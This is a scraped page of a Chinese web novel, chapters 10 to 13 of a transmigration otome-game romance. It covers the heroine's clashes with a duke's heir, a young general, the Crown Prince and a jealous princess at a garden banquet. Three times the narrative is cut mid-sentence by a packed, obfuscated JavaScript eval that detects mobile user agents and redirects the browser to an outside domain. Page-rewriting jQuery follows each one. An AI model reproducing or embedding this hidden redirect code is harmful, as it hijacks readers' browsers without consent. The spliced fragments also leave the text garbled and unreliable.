她这话说完,那装潢华丽的马车帘忽然一动,从上头下来个身着华服、容貌不凡的美男子,正是英国公世子赵怀珏了。 赵怀珏往曲思盈的面上看了一眼,开口道:“你瞧着很眼熟。” 曲思盈一愣。 不对啊?原作里他下来的时候说得不是这句话啊? 却见赵怀珏又抬眼看了看曲思盈的马车,忽然丢下愣在原地的曲思盈,抬起腿往那马车跟前走了过去,又伸手一把将帘子掀了开来,果然见到坐在车里、一脸错愕的曲昭盈! 赵怀珏冷笑一声:“又是你。” “你三番四次故意来招惹我,就是为了引起我的注意?”他看向曲昭盈的表情似乎还带这些戏谑,“你觉得自己耍这些小把戏,我瞧不出来吗?” 曲昭盈一脸懵:“啊?” 我不是,我没有。 10.第十章 金色的阳光从被掀开的帘子外洋洋洒洒地洒进车厢里,又悄悄地爬到曲昭盈的衣摆上,宛若一只要将她生生从车厢内拖出来的大手,实在霸道得很。 一如站在她面前的赵怀珏。 那模样英俊的世子爷气势汹汹地站在那阳光里,面上挂着一副“果真如此”的表情,颇为戏谑地盯着曲昭盈看。 曲昭盈赶忙为自己辩解:“我不是,我没有!” 赵怀珏自然不信她这苍白的解释,只当她是被揭穿了无地自容,冷笑道:“每个女子都这样同本少爷说,你以为我会信你?” 曲昭盈还未说话,赵怀珏的胳膊却突然叫人握住了,他侧过脸去,就见一个个子高了他半头的男子正握着自己的手,低声道:“世子请自重。” 此人正是曲昭盈的侍卫卫沉。 赵怀珏眉头一皱,他的侍卫小厮当即冲上前来拽卫沉要将他拖下去,周围人群也渐渐聚集起来议论纷纷,场面一时间混乱不堪,曲思盈这才反应过来,大喊了声:“快停下快停下!” 她手里的原作并没有出现这样的情节,虽然心急之下喊了停,却也一时间不知道接下来该说些什么才能制止这一场闹剧,下意识冲赵怀珏说了句:“你就没什么要跟我说的?” 分明自己才是本作的女主,此时这一场相遇的剧情更是为了自己而写,为什么赵怀珏连看都不看自己一眼? 赵怀珏刚被他的侍卫解救出来,正皱着眉头要说话,听到曲昭盈莫名其妙冲自己开口说了这么句没头没脑的话,当即面色不善地道:“你算什么东西?” 曲思盈委屈极了,想为自己争辩几句也不知道要说什么,却听得赵怀珏身旁的侍卫大喊“还愣着干嘛?还不把这没大没小的小子给处理了?!” 他说的小子,自然是方才来拽世子爷手的曲昭盈侍卫,曲思盈下意识要去拦,却也被骂了句“干什么!信不信连你一起收拾了!”顿时吓得面如菜色,是动也不敢动再动一下了。 曲昭盈终于坐不住,从马车中钻了出来,大声喝道:“住手!” 她原本并不想插手此事,怕自己横插一脚又乱了曲思盈的剧情,只是眼看着事态恶化,女主角曲思盈也一副不知所措的模样,只怕再不做些什么事态会更下混乱,情急之下只能从马车里头冲了出来。 “世子爷息怒,”她走到曲思盈面前将她护在自己身后,毕恭毕敬地对赵怀珏道,“不知我到底做错了什么,竟惹得世子爷如此不愉快?” 见她终于舍得从马车里头出来,赵怀珏面上总算露出副得逞的表情,他摆了摆手示意自己的护卫住手,这才对曲昭盈道:“你这侍卫不知天高地厚,居然敢对我动手,难道我不该罚他?” “他既是我的侍卫,保护我乃是他的职责所在,”曲昭盈向他行了一礼,俨然是个被人欺负的柔弱女子模样,“方才是我受了惊吓他才会如此僭越,此事不过一场误会,世子爷大人有大量,还请您饶了他吧。” “误会?”赵怀珏冷笑一声,显然不相信曲昭盈的话,“谁知道你这侍卫是不是受了你的命令,故意这般无礼,好叫我记住你的。” 曲昭盈觉得这人简直不可理喻,险些当街翻出一个白眼来:“世子爷多虑了。” “我与您并不相熟,何故要招惹你?” 赵怀珏却冷哼一声,道:“我见你是个姑娘,还给你留些脸面,你倒要我亲自揭穿你不成?” “我行得端坐得直,有什么怕的?”曲昭盈半点不怕他,直言顶撞道,“与世子在此相遇不过就是巧合,若非世子硬要与我们起冲突,我想今日我也见不着你。” “更何况我刚刚连马车都没有下,分明是你执意冲过来掀了我的帘子。” 反正她连谢懿玄都已经招惹了,如今再多招惹一个赵怀珏似乎也不那么可怕了:“怎么看都像是你处心积虑要见我吧?” “你说什么?”赵怀珏怒道,“你未免太瞧得起自己!” 曲昭盈强迫自己冷静下来,好叫自己不急着去辩驳,反而接着方才的话继续讲道:“世子爷说我在这里等着你,既是一口咬定我早已知晓你的行踪。” “若果真如此,我想世子爷比起在这里找我的麻烦,不如去好好查一查身边人的问题,看看究竟是谁胆大包天,敢随意泄露您的行踪。” 她嘴上说着胆大妄为、以下犯上的话,面上的表情与仪态却依旧完美:“否则下一次若遇见的不是爱慕于您、想要攀附英国公府的小姐,而是个别有居心、想要暗害与您的小人,我只怕老来得子的英国公将来白发人送黑发人,平白伤心。” “你!”赵怀珏被她几句话说得怒火中烧,下意识抬起手想要打她,却又生生忍住了——她到底是个官家女子,赵怀珏再怎么无法无天,也不至于对一个弱女子动手,只是曲昭盈那副模样他看得实在来气,那停在空中的手便又转而去拽曲昭盈的胳膊。 虽然他也不知道自己拽她要做什么,但他就是想看看这丫头面上那副神气的表情崩塌的模样,想叫她手足无措、叫她在自己面前认输。 曲昭盈果真被他这模样吓到了,面上的表情有一瞬间的慌乱,赵怀珏总算得逞,正要开口说什么,忽然听得有人在后头大喝一声:“闹什么呢!” 众人闻声向后看去,就见一青年男子从人群中骑马而来,他看见人群中的赵怀珏,面上的表情显然有些意外,下意识开口唤了句:“怀珏?” 此人一身青色圆领窄袖长袍,腰间系一条黑色皮质腰带,正是秦景和本人。 他原以为出了什么乱子,正上来要看看情况,却发现是自己的朋友赵怀珏手里拽着个姑娘,当即问他:“你这是在做什么?” 曲昭盈趁机抽出手来,又向秦景和福了福身,恭谨道:“世子爷只是和民女有些误会。” 她说话的语气没有什么起伏,只当赵怀珏是个无理取闹的陌生人:“现下误会解除了,还请世子爷高抬贵手。” 赵怀珏被这么一打断,当即觉得没了兴致,他瞧见曲昭盈又摆出那副高不可攀的模样,更是觉得没来由的心烦,吐出一句“无趣”便转身回了自己马车上,又掀开窗帘冲秦景和说了句:“一起走吧,你不也要去曲江宴么?” 秦景和原本还想多问上几句,瞧见赵怀珏一副气急败坏、慌忙要离开的模样,心下不免有些好奇,当即策马跟了上去。 方才围观的人群也似退潮一般散去,这一场闹剧终于随着赵怀珏的离去消散了,只留下一地被人踩进泥里、灰头土脸的落花,叫人多少还能窥探到其中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864241|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点方才的凌乱。 卫沉叫赵怀珏的侍卫给放了,却也十分羞愧,灰头土脸地对曲昭盈道:“我没保护好小姐,请小姐责罚。” 曲昭盈却笑了笑,道:“对方人那么多,你一个人又能做什么?” 卫沉低着头,仿佛那颗脑袋有千斤重似的,无论如何也抬不起来,羞耻与无力感充斥在他的脑海里,让他愧不难当:“是我太冲动了。” “你只是着急救我,何错之有?”曲昭盈却并不怪他,反而还宽慰他道,“你没受伤已经是万幸,此事就算过去了,莫要自责了。” 正巧马车此时修好了,曲昭盈便不再多言,拉着曲思盈转身上了马车。 曲思盈这时才回过神来,大喊一句:“吓死我了!” 喊完她又觉得不妥,贴着曲昭盈在马车上坐下,压低声音问道:“他怎么回事?怎么不按剧情走?” 曲昭盈又哪里知道?她摇了摇头正要开口,却见曲思盈一副若有所思的模样正盯着自己。 窗外的光从窗帘外头半遮半掩地照进来,映地曲思盈的一双眼睛在光里明明灭灭,那眼神好似盯上了猎物的豺狼,叫曲昭盈莫名地周身一寒,下意识问她:“怎么了?” “我在想,”曲思盈炸了眨眼睛,缓缓道,“会不会是因为你啊?” “因为你和我都有一个系统,两个人在剧情里起了冲突,所以才会导致赵怀珏没有按照既定的剧情行动!” 曲昭盈觉得她说得有几分道理。 只是她还未来得及表示一句赞同,就有听得曲思盈担忧道:“那万一你也影响了谢聿珩的剧情怎么办?” 她两条清秀的眉似打结的线一般拧在一起,整张脸都好似一张皱巴巴的纸:“你不准找谢聿珩。” “我不会,”曲昭盈立刻接口,“我到会场就找地方躲起来,等到你过了跟谢聿珩的剧情再出现,行吗?” 听到她这样说,曲思盈的脸才有舒展开,笑嘻嘻地应了好。 “你别怪我这么紧张,”曲思盈解释道,“我实在太喜欢他,太想和他在一起了才会这样。” 曲昭盈表示理解,二人就这么一路畅通无阻地到了曲江池。 曲江以其水曲折为名,有宫殿与几许水体,杨柳叫风吹斜在水岸边,岸上草若碧丝,又有欢笑声鼎沸其中,放眼过去皆是盎然的春色,叫人心下忍不住便要轻快起来。 只是这轻快显然是不属于曲昭盈的。 甫一入了宫门,她就发现有人在等自己。 秦景和一瞧见她进来,便忙不迭地朝她走来,问她:“曲姑娘可还好?” “方才我问过怀珏,是他对你无礼了,我代他想你道歉。” 要道歉也是赵怀珏来找自己道歉,关秦景和什么事?只是曲昭盈心里这样想,面上却摆出副大度的模样,笑盈盈地道:“秦将军客气了,我没事,多谢您关心。” 她不想和卫沉以外的男主角扯上关系,自然不肯与他再多说什么话,只想着随便说上几句敷衍过去早早脱身,却不想秦景和似乎并不肯放过她,他盯着曲昭盈小半晌,终于开口问她:“我总觉得曲姑娘瞧着很眼熟。” “我们是不是在哪里见过?” 曲昭盈心里顿时“噗通”一声。 11.第十一章 恼人的春风自东刮来,像女子酥软的手一般在枝头上轻轻拂过,将开得热闹的花瓣一把一把地摘下,又毫不留情地将它们丢落,叫这一片湛蓝的天陡然下起了樱色的雪,枝头的鸟正在这样的雪里高声鸣叫,清脆的歌声与那东风的声音交织在一起,听得曲昭盈心里莫名有些焦躁。 今日郡主生辰宴,来往宾客众多,秦景和像堵墙似的挡在曲昭盈的跟前,自然招来路人频频相看,曲思盈突然开口插了句:“秦小将军贵人多忘事,先前咱们在孔老太傅寿宴上见过一回的,我妹妹和你打过招呼。” 秦景和“哦”了一声,眼睛却依旧盯着曲昭盈看,不死心似的问:“是这样吗?” 曲昭盈点了点头,又道:“小将军若是无事,便叫我们姐妹二人进去吧。” 她实在是不想见到秦景和。 只要一瞧见他,她便总是忍不住想起他死在自己面前那一晚。 他满身是血、连呼吸都困难的模样与面前的人重叠起来,叫曲昭盈的心脏没来由地砰砰狂跳,连鼻子都有些酸涩,她赶忙低下头去,生怕自己一个忍不住又要哭了。 她总觉得自己有愧于他,总觉得他会死和自己攻略他离不开关系,下意识就想逃避,可秦景和显然不想这样简单就放过她。 “可我总觉得与小姐很熟悉,”秦景和不自觉地往曲昭盈的方向跨了一步,与她只有一臂之距,仿佛只要一伸手就能将她圈进怀里,“你真的和我没见过?” 他解释不清自己为何要缠着这个姑娘,只是他心里头总觉得这个曲二小姐熟悉的很,仿佛她就是这世间与自己最亲近的人,可他却无论如何都想不起自己究竟何时与她相遇、相识相知了。 这感觉实在不好受,就跟被人下了蛊似的,叫他抓心挠肝的恼得紧,这才叫做了出把人堵在宴席上的傻事。 曲昭盈低着头不看他,只闷闷地又说了句:“秦小将军可能记错了,我真的未曾与您有过什么交集。” 但她越不看他,秦景和就越觉得她是心虚在骗自己,立即追问道:“既然如此,你为何不抬头看着我说话?你在怕什么?” “秦将军莫要太过分了!”还是卫沉先出言喝止,“我家小姐是尚未出阁的闺秀,不看您又哪里不对?于情于理您都不该这般纠缠了,还请将军饶了我家小姐。” 曲思盈此时也反应过来,忙顺着卫沉的话接口道:“即便方才您出手相助,如今这样也着实有些无理了。” “将军,请让开。” 秦景和自然知道自己此时表现蛮横又无礼,惹来人家不愉快也是正常,此时即便是曲昭盈恼羞成怒,发起火来扇自己一巴掌都是该的——可他今日大抵是真的被人施了什么妖术,他就是说不清为什么想要跟着姑娘有些牵扯,他甚至还想着,现下宁愿她扇自己一巴掌骂一骂自己,总好过如今这副连话都不肯和自己讲、对自己避如蛇蝎的模样。 他正要再说句什么,忽然有个宫人从身后走来对他道:“秦将军,太子殿下有请。” 这一句话生生将秦景和要说的话打断了,叫他心里那几句话说也不是不说也不是,憋在喉头难受的要命,却终于还是因为耽搁不起太子的召唤,只得放下曲昭盈先离开了。 曲昭盈见他转身离去,总算松了一口气,只是可这一口气儿还未来得及落到地上,就听得身后的曲思盈低声道:“又和游戏原本的剧情不一样了。” 因为这两次的变故,曲思盈几乎已经肯定这些改变与眼前的曲昭盈有关,也不等她说什么,便着急忙慌地开口道:“你等会先去雁栖湖那儿呆着。” 曲思盈口中的雁栖湖,指的是曲江芙蓉园西北那边的一处人造湖,据说当初光是挖湖就动用百名工人,历时两年才造就这样的景色,倒也算给她指了个好去处。 “你在那儿大概呆半个时辰,”曲思盈为了保险起见,打开系统细细看了一遍原文,这才对曲昭盈说道,“等到快开宴了再回来,记住了吗?” 她故意不告诉曲昭盈究竟谢聿珩会在何时、在何地出现,显然怕极了曲昭盈又破坏了剧情,害她与谢聿珩之间的邂逅出现什么问题,曲昭盈理解她的顾虑,自然不再多问什么,点了点头说了声“好”,就带着莲心往雁栖湖的方向去了。 这曲江芙蓉园乃是皇家园林,原本是不能轻易叫人使用的,只是这位玉和郡主是肃王的女儿,而肃王是当今圣上胞弟,据说年少时为了圣上挡了一箭,有从龙之功,是以圣人登基后对肃王可谓宠信至极,肃王妃又是当朝宠妃宁贵妃的亲妹妹,是以玉和甫一出生,皇帝就给她封了郡主,待遇几乎与本朝公主相似——甚至比起些不受宠的公主还要好了。 今日是玉和郡主的十五岁生辰,到了这个年纪,肃王妃自然想为这掌上明珠选个好夫婿,因而一早就向皇帝求了恩典,专程在曲江园为她操办生辰礼,皇帝想也不想便大手一挥同意了。 但在曲昭盈看来,其实应该是这个不入流的游戏编剧水平不行,想不到别的排场所以凑合写一个,像是有bug的代码以外的运行了起来一样,深究下去倒也没什么意义了。 今日除了寻常官员女眷,更有许多大人物出席,是以前头院子里头热闹非凡,倒是没几个人有心思游园,雁栖湖旁静静悄悄,竟是一个人都没有。 曲昭盈倒是乐得轻松不与人社交,自己在湖边的一处凉亭里找了个地方坐着,不远处的湖面叫风吹起一层又一层的涟漪,阳光碎在湖面上,像是碎金落在翠色的玉盘里,熠熠生辉的颜色刺得人眼睛生疼。 她方才险些在秦景和面前落泪,虽然勉强忍了下去,眼睛却有些酸涩,又给这金灿灿的阳光一照,更是觉得有些睁不开眼睛,正掏出帕子在揉眼睛,忽听得有个男声从背后传来。 那人道:“姑娘好像总是在哭泣。” 曲昭盈心里一惊,几乎立刻放下手帕转过头去,就见有个男子不知何时竟静悄悄地站在了自己身后! 那人一身鹅黄色云锦长衫,脚蹬玄色缎面靴,绣着祥云纹的丝线在日头下也好似在闪着光,只看一眼就能瞧出此人的出身不凡来;他身材挺拔,容貌又带着几分女子才有的秀丽与柔和,低着头看向曲昭盈的时候,眼睛就好似夜里高悬的月一般清澈明亮,映着雁栖湖的水,几乎要叫人醉了。 不是谢聿珩又是谁? 曲昭盈吓得跳起身来,匆匆忙忙地向他行礼:“民女见过太子殿下。” “曲姑娘不必拘谨,”谢聿珩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15877146|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了笑,柔声道,“坐着吧。” 他那清泉一样的声音软了下来,没了上一次见面时的冷冽,反而叫人听出些温柔缱绻来,曲昭盈却没空去品味他声音的区别,她心里又急又疑,满脑子只剩下了一个念头:到底为什么谢聿珩会出现在此?! 曲思盈呢?他怎么没和曲思盈在一起?不是说他不在这里出现吗?难道他是什么随机刷新的NPC吗? 这世界是不是又出了什么bug?? 她没坐下,反而下意识地往谢聿珩身后的方向看过去,企图去寻找曲思盈的身影,见他身后只有一条长长的石板路,青色的石板上落着一道一道金色的阳光,有闪亮的尘埃在光间飞舞,除此之外便再也没了别的动静。 静静悄悄的,连个鬼影都没有。 谢聿珩不动声色地挪了挪步子,挡在曲昭盈的眼前,半强迫地叫她的眼神落在自己身上,问她:“在看什么?” 曲昭盈总算回过神来,意识到自己在太子面前失了礼数,垂眸道:“民女只是在想,殿下方才来的时候,是否遇到了民女的姐姐。” 谢聿珩不答她的话,反倒是径直在她面前坐下了,曲昭盈无法,只得拘束地坐回自己方才坐的位置上去,谢聿珩这才问她:“曲姑娘不想看见我?” 曲昭盈的脑子从没转的这么快过。 她飞速思考自己究竟该说些什么、做些什么,才能叫谢聿珩觉得自己无聊无趣,好让他早点结束对话离开,思来想去才终于恭恭敬敬地说了句:“民女不敢。” 多的话却也没了。 谢聿珩却又问她:“那你是不想和我说话吗?” 曲昭盈只能又摆出一副呆头呆脑的模样,将方才的话重复了一遍。 她说:“民女不敢。” 曲昭盈几乎将抗拒二字写在自己的脸上,寻常公子被她这样冷脸相待早已自觉无趣走了,谢聿珩堂堂一个太子,将来又是要做皇帝的人,身份何等尊贵,今日不知为何跟中了邪一样变着法要和她说话——他与她说话的语气,甚至已经接近在哄她了。 谢聿珩听到她这样的话,非但不恼,还要细细去打量眼前的姑娘:她分明故意穿得有些俗气,穿了烟粉色百花襦裙,又像要显摆似的在发髻间点了支粉色碧玺蝴蝶簪和金色累丝步摇,谢聿珩却半点不觉得她庸俗,反而还要伸出手去轻轻将那支累丝步摇从她的发鬓上下来,像折花似的小心翼翼:“这样才比较像你。” 曲昭盈没想到他会这样突然上手,一时间愣在原地不知作何反应,她今日在面颊上扫了薄薄一层胭脂,双唇点绛,那颜色宛若饱满熟透的石榴,似乎轻轻一捏,就要淌下黏腻又香甜的汁水来。 谢聿珩看得心下有若猫爪一般的痒,他挪开目光不再看她,又悄悄地将那支金簪攒在手里,这才开口道:“曲姑娘还未回答我。” “你方才在哭什么?” 曲昭盈对着人一点办法都没有,只能开口胡诌:“谢殿下关心……民女只是叫风沙迷了眼睛,并没有在哭。” 谢聿珩转过眼来看她,看着看着,忽然无声地笑了。 说谎。 谢聿珩想。 他方才分明看见秦景和去找她说话了。 12.第十二章 和煦的春风在波光粼粼的湖面上掀起一层接一层的涟漪,让湖中的游鱼在这层层的涟漪下泛着金色的光,像沾了一身的碎金,正一下一下地闪着光。 那股风又从树梢间穿行而过,叫翠绿的树叶发出沙沙的声音,听着就好似有人在园中窃窃私语,像有人正在对他们二人这不合时宜的私会指指点点,倒显得曲昭盈与谢聿珩之间长久的沉默振聋发聩,叫人实在难以忍受。 曲昭盈鬓边的发丝被那恼人的风撩起,有些狼狈地黏在她的涂过口脂的唇上,她不得不抬起手来将那缕头发别到耳后去,又趁着撩头发的间隙偷偷抬起眼去看一眼坐在自己跟前、一言不发的谢聿珩。 他确实长了副会叫姑娘们为之疯狂的皮囊,曲昭盈在现代看过许多的明星,确实没见过有哪个人比他还要好看的。他不过是静静地坐在那里,就要叫周遭的风光都失了颜色,他身材颀长,又穿着与他气质相符的衣裳,眼眸垂下的时候,竟然有些像一尊悲悯的佛像,可一动起来,却又像仙风道骨的鹤,叫人忍不住想要与他亲近。 也怪不得曲思盈会这样喜欢他,只靠这一张脸,就足以叫人想与他厮守一生了。 谢聿珩发觉她的视线,主动开口和她道:“曲姑娘从方才开始就一直频频往后头看。” “是在等人吗?” 他话里似乎还带着些许的试探,仿佛他真的很好奇曲昭盈是否跟谁约好了在此似的,曲昭盈心里紧张的要命,又哪里还来得及仔细分辨谢聿珩的话?又如何有心思去回应他的试探?她实在不知道要如何应付谢聿珩,只好把话题往曲思盈身上引:“回殿下的话,民女是在等我的长姐。” “您方才来的时候,真的没见过她吗?” “我不认得你姐姐,”谢聿珩一听她提姐姐,显然一下就没了兴致,连说话的语气都平淡了不少,“如何知道有没有见过她?” 曲昭盈被他问得不知说什么才好,又见他仍是不错眼地看着自己,莫名地觉得有些懊恼,自暴自弃地问了句:“殿下是有什么事要向民女交代吗?” “不然为何一直在问我的话。” 这世上除了皇帝皇后,又有谁敢这样没大没小的对一个太子说话?曲昭盈还敢问他为什么和自己说话,简直是倒反天罡了。 “也没有,”谢聿珩却像个没脾气的泥人,听到曲昭盈说这样的话非但不觉得冒犯,还要眯起眼睛来笑道,“只是曲姑娘好像不愿意同我多说话,我只好做个讨人嫌的,多问你几句话了。” 他这一句话说得曲昭盈诚惶诚恐,连忙起身向他行礼道:“民女不敢!” “说笑的,姑娘不必这样紧张,我确实是有事要同你说,才专程来找你的。”谢聿珩伸手去虚扶了她一把,叫她不要这般拘谨害怕,见曲昭盈终于又老老实实地坐下了,这才接着说了句,“是丽贵人知道我来赴宴,托我给你带句话。” 知道他是有事来找自己,曲昭盈才总算松下一口气来,只是放下心之后,又有新的疑问生了出来:他口中所说的丽贵人又是谁? 她不记得自己宫中有什么认识的人,又有什么事值得这位贵人去求太子给自己带话的? 甚至她仔细想来,在上周目的时候,宫中并没有一个叫做丽贵人的娘娘——那这个突然冒出来的贵人究竟是谁? 谢聿珩见她满脸疑惑不解的模样,觉得她像只刚被人带回家、正在迷茫的小猫,叫人瞧着心里便软下去一块,啥时间化成了一汪春水,正叫身旁的风刮起一层层的涟漪,将他的心完完整整地泡在了里头。。 他好心地向她解释了一句:“曲姑娘可还记得春桃?” 曲昭盈下意识接话道:“当然记得。” 春桃不就是大半个月前她多管闲事,不惜得罪六皇子谢懿玄救下来的那个侍女吗?谢聿珩突然提她是做什么—— 曲昭盈忽然福至心灵,问:“这丽贵人难道是……” 谢聿珩点了点头:“正是。” 曲昭盈惊讶极了:“她怎么会……” 谢聿珩这人向来不喜在背后议论别人,因而面对曲昭盈的疑问,他也只是简单地向她解释了句:“在宫中想要活下去,并不是件容易事。” 但曲昭盈到底不是个傻子,谢聿珩只需轻轻提点一句,她就几乎明白了其中的关键:春桃怎么会在短短半个月内摇身一变成了所谓的丽贵人,原因其实十分显而易见。 她那日虽然侥幸被曲昭盈和谢聿珩救二人了下来,可谢懿玄又岂是那样大度的人?他被曲昭盈一个无足轻重的丫头坏了心情,又被谢聿珩这个太子当中教训过一次,心中如何能够不记恨?还在外头时他碍于太子威严无法做什么,可春桃到底是贴身伺候他的婢女,等到回了宫去,他一个皇子想要一个婢女的命、想要拿她来撒自己今日受过的气,不过也就是是动动嘴皮子的事情罢了。 春桃虽然没读过什么书,却也算不得愚笨,否则也不可能贴身伺候谢懿玄几年,她再清楚不过这六皇子的脾气,也知道自己若不想想法子必然只有死路一条——只是她一个身份卑微的婢女,也确实想不到除了攀附上比六皇子更高的权力之外更好的办法了。 她倒也不是没打过谢聿珩的主意,毕竟他们二人曾经打过照面,谢聿珩又出言救了她的命,多少记得自己的模样,只是这太子殿下实在洁身自好高不可攀,到了要婚配的年纪了,竟然连个通房都没有,自己想要攀附上他可谓难中之难,怕是花费多少时间与心思都难以叫他多看自己一眼。 但当今圣上却不同了。 虽然宁贵妃善妒,却也挡不住皇帝是个色中饿鬼,宫中美人再多,也总有他吃腻味的时候。春桃虽不是什么绝色美人,却也算得上清秀可人、温柔小意,她只用些手段便顺利地爬上了龙床,又因为她身份地位、指望着皇帝保她的性命,十分拉得下脸去哄皇帝高兴,当即就封了个贵人给她,连夜给她安排了住处、配了婢女来伺候,又接连宠幸了她七八日,赏了不少的珠宝给她,叫她一跃成了宫中的红人。 但她却也没因为这泼天的富贵就晕了头脑,春桃晓得自己孤立无援,身后也没有什么了不起的母家支援,虽然靠着皇帝的宠爱捡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886503|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回一条命,但皇帝的喜欢又能持续几日?等到他厌倦了自己,谢懿玄与宁贵妃照样多的是手段来对付她,因而她才下了龙床,转身就向皇后去表了衷心,这才总算给自己寻了个了不得、靠得住的靠山。 思及此,曲昭盈心里多少有些不是滋味。 她低着头不说话,风吹乱她的发丝,也吹乱了她的心思,叫她总觉得有一团乱麻堵在胸口,憋闷得很。 曲昭盈想,是不是正是因为自己多管闲事,才害的春桃卷入这样的宫廷纷争里去? 谢聿珩那一双眼睛好似能轻易地看穿她心中所想,开口对她道:“你不必自责。” “若非有你相助,半月前她就已经香消玉殒了。” 他说话的声音轻柔又干净,像一捧清泉似的浇在曲昭盈有些烦乱的心上,让她莫名冷静了下来,下意识就抬起头去看坐在对面的男人。 他安安静静地坐在自己面前,层层叠叠的衣摆落在地上,被风一吹,那衣摆又宛如长了脚似的悄声无息地盖在曲昭盈落在地上的裙摆之上,好像在寂静中偷偷牵起了手似的暧昧又黏腻,曲昭盈瞧着那堆叠在一起的衣摆,有些不自在地将腿往后挪了挪,好叫二人暧昧不清的衣裳分开些,再分开些。 谢聿珩斜着眼看她的小动作,嘴上不说什么,心里却觉得这姑娘有些执拗的可爱,她这样避如蛇蝎地躲着自己,是真觉得自己好打发,不会追上前去? 曲昭盈没觉察他的视线,直到将衣服弄好了,她才接着方才的话题去问谢聿珩:“丽贵人娘娘……她有什么要和我说的?” “她说那日分开的匆忙,有许多话没能和你说,”谢聿珩身子坐得板正,说起话的语气也一板一眼的,叫人觉察不到他心底汹涌的情绪,“若你愿意,她说想与你见一面亲自感谢你。” 这话说得轻巧,可她们二人之间隔着一道森严高大的宫墙,春桃如今又是个有身份的娘娘,想要与她见一面何其之难?谢聿珩看出她心中的疑问,柔声与她说道:“你不必担忧那么多。” “什么时候做好决定,就什么时候差人来告诉我一声,我自有法子叫你们二人见面。” 他越是这样说,曲昭盈就越不知道要不要与春桃见面——这是她第一次做出违背剧情之事救下来的一条命,若说不想再见一面确实有些虚伪,只是要见面又不得不经过谢聿珩的帮助,她又有些不愿意。 曲昭盈巴不得这太子殿下离自己越远越好,岂有主动凑上去的道理?万一剧情又发生什么错乱,她又该如何是好? 她下意识抬起眼去看谢聿珩。 谢聿珩一垂眸,就看见她那双兔子似的圆眼正直勾勾地盯着自己,她眼底含着氤氲的水汽,叫天上的阳光一照,就好似将整个雁栖湖都盛入了眼底,正泛着潋滟的光,挂在她耳朵上的一对金色耳挂好似两支钩子,正像鬼魅似的勾着旁人的心,看得谢聿珩喉头上下一动,险些欺身去亲吻那一双碎星似的眼睛。 却突然有个女声从身后传了过来,生生打断了他们二人的思绪。 “殿下原来在这里。” 13.第十三章 凉亭外有两棵参天的梨树,树冠好似顶翠绿的帽子一样将红色的八角亭顶盖了起来,层层叠叠的几乎不见一点缝隙,白色的梨花在红瓦上头显得比新落的雪还要白上几分,叫风一吹,就又纷纷扬扬地从空中飘落下来,叫这春日的空气里都带着些清甜的梨花香气。 梨花树下是蜿蜒的石板路,墨色的石板上映着光又落着花,瞧过去便是青的白的金的颜色,抢地盘似的在石板上歪歪斜斜占了一块又一块,像是打翻了哪位名家的调色盘。 在这热闹的色彩之上,正踩着一双烟粉色缎面绣花鞋。 鞋子的主人是个碧玉年华的少女,她面上还有些尚未来得及褪去的稚嫩,脸瞧着圆润,下巴却尖尖的,鼻子不算高挑,却胜在小巧,一双眼睛也好似杏子一般圆润,显得她整个人有些娇俏的可爱,若是将来再长大些,应该也会是个出挑的模样。 她穿一身翠色金丝襦裙,外披一件杏色软烟罗银丝披帛,发间簪一金丝莲花步摇,只消远远地瞧一眼,便可知这姑娘是怎样的富贵无双了。 只是她那一双杏眼正直勾勾地盯着曲昭盈的脸看,仿佛有杀气从她的脚底升腾而起,裹挟着漫天的花瓣似箭羽一般直冲曲昭盈而来,叫曲昭盈无端地起了寒颤。 谢聿珩闻声转过头来,那少女便好像变脸一般摆出个笑脸来,仿佛方才曲昭盈感受到的杀气不过是她自作多情的错觉,只听她笑嘻嘻地道:“太子哥哥,我找了你好久。” 她拔腿走进凉亭里,每走一步都像是要将纯白的花瓣碾进泥里似的,直到她笑意盈盈地站在了谢聿珩的眼前,谢聿珩才应了她一声:“玉和。” 原来此人就是今日生辰宴的主人公,肃王的掌上明珠,玉和郡主。 曲昭盈连忙站起身来行礼,毕恭毕敬地道:“民女见过郡主殿下。” 她虽然是个现代人,如今又没了系统帮她自动走剧情,但是在这乙游里面摸爬滚打了这么久,礼节倒也是已经被磨炼了出来,一举一动都恰到好处,叫人挑不出半点错处来,可她越是这般知礼数、懂进退,玉和便越觉得她碍眼,从鼻子里发出个了轻蔑的“哼”声来,上下眼将她打量了几番。 玉和见她虽然穿得一身俗气衣裳,从颜色到花样没有一处好看的,但袖口里伸出来的一双手却好似葱根似的白净细腻,再往上看,就看她脸也宛如白瓷一般,眉眼更是生的一副娇滴滴的狐媚模样,好似天生就要来勾人心魄似的,看得玉和心中一股无名火起,趾高气昂地问她:“你又是谁?为何在此与太子殿下说话?” 